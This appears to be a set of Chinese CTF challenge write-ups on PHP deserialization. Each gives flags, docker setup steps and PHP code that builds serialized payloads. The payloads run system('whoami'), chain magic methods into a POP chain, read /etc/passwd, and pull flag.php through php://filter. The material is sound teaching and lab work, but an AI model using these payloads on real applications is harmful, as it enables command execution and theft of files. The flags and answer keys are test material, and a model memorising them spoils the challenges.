[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化命令执行 | 1 |
[题目考点]:
反序列化命令执行,获取题目flag。
[Flag格式]:
SangFor{t5euvZ_OB8Jd_h2-}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
name赋值为system,$male赋值为whoami,即调用system(whoami)
<?php
class A{public $name;public $male;
}
$a = new A();
$a -> name = "system";
$a -> male = "whoami";
echo serialize($a);
?>
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化POP大链 | 2 |
[题目考点]:
通过多个类中不同的魔术方法,构造反序列化POP链,获取题目flag。
[Flag格式]:
SangFor{qMWi3Uhs1r2uX6FB}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
实验主页
1、首先通读代码,代码中存在6个类,每一个类中定义了两个变量,同时每个类中定义了不同的魔术方法。
__desctruct()
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。
__toString()
在对象当做字符串的时候会被调用
___call()
当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__invoke()
直接调用对象名当方法使用时,就调用的是__invoke()方法
2、我们的目标是获取flag,函数getFlag()在类getFlag类中,而__destruct()魔术方法可以作为POP链的触发点
3、通过构造POP链,把__destruct()函数作为触发点,getFlag()函数作为终止点,最终获取flag
<?php
class start_gg
{public $mod1; public $mod2;public function __destruct(){$this->mod1->test1();}
}
class Call
{public $mod1; public $mod2;public function test1(){$this->mod1->test2();}
}
class funct
{public $mod1;public $mod2;public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}
class func //1
{public $mod1; //string1public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;}
}
class string1 //2
{public $str1; //GetFlagpublic $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag //3
{public function get_flag(){echo "i,m ok xxxxxxxx";}
}
$GetFlag = new GetFlag();
$func = new func();
$string1 = new string1();
$funct = new funct();
$Call = new Call();
$start_gg = new start_gg();
$start_gg->mod1 = $Call;
//pop链起始点
$Call->mod1 = $funct;
#类Call中的变量$mod1设置为funct的实例化对象,当调用$mod1中的test2()方法,funct类中并不存在test2()成员方法(函数),就会自动寻找魔术方法__call()并调用它
$funct->mod1 = $func;
#类funct中的mod1设置为类func的实例化对象,在代码中 $s1 = $this->mod1;$s1<==>$func类的实例化对象,$s1()是调用函数的方法,但现在$s1为类的实例化对象,所有会自动寻找并调用func类中的__invoke魔术方法
$func->mod1 = $string1;
#现在POP链执行了func中的魔术方法__invoke, $this->mod2 = "字符串拼接".$this->mod1;代码会被执行,其中$mod1被当作字符串处理,可以将$mod1设置为class string1的实例化对象,会自动搜索并调用类string1中的__string()魔术方法
$string1->str1 = $GetFlag;
#最后,将类string中的变量$str1设置为类GetFlag的实例化对象,会调用$this->str1->get_flag();获取flag
echo serialize($start_gg);
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化pop链基础 | 1 |
[题目考点]:
PHP反序列化pop链基础
[Flag格式]:
SangFor{reIqYxxlWeD4bABr}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
2、在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制
3、在类B中,定义了私有变量$filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为$filename。
2、并且将类A中的公有变量$classname赋值为类B的实例化对象
那么,当实例化类A的同时也实例化了类B
3、然后将类B中的私有变量$filename赋值所需读取文件名称
<?php
class A{public $classname;
}
class B{private $filename="/etc/passwd";
}
$a = new A();
$a -> classname = new B();
echo urlencode(serialize($a));
?>
既然可以读取passwd文件,那么尝试读一下flag.php文件吧!
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化基础-2 | 1 |
[题目考点]:
PHP反序列化基础2
[Flag格式]:
SangFor{8wTFrFxSKMzXM3ng}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
实验主页
代码分析
当实例化的类反序列化时会自动触发__wakeup()魔术方法
4、在__wakeup函数中存在file_get_contents()函数,并且参数为$name,可控(注意成员变量$name为私有类型)
成员变量大致可以分为三类:
- public 共有类型
- private 私有类型
- protected 被保护类型
当成员变量为私有类型时,当$name被反序列化时,前后为%00。
如果不做处理,在cmd命令行中显示类似于空格,复制到url地址栏时会被转化为%20,也就是空格的url编码,所以需要将输出的结果进行url。
2、使用php://filter伪协议,$name赋值所需读取文件名称
<?php
class Ser{private $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo urlencode(serialize($a));
?>
将base64进行解码。
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化基础 | 1 |
[题目考点]:
1. PHP反序列化基础
[Flag格式]:
SangFor{k26Bj-V9ENIY7tBy}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
实验主页
代码分析
1、首先定义类Ser
2、第二行定义公有变量 $name
当实例化的类被当作字符串处理时会自动触发__toString魔术方法
4、在__toString函数中存在file_get_contents()函数,并且参数为$name,可控
利用方法
2、使用php://filter伪协议,$name赋值所需读取文件名称
<?php
class Ser{public $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo serialize($a);
?>
将base64进行解码。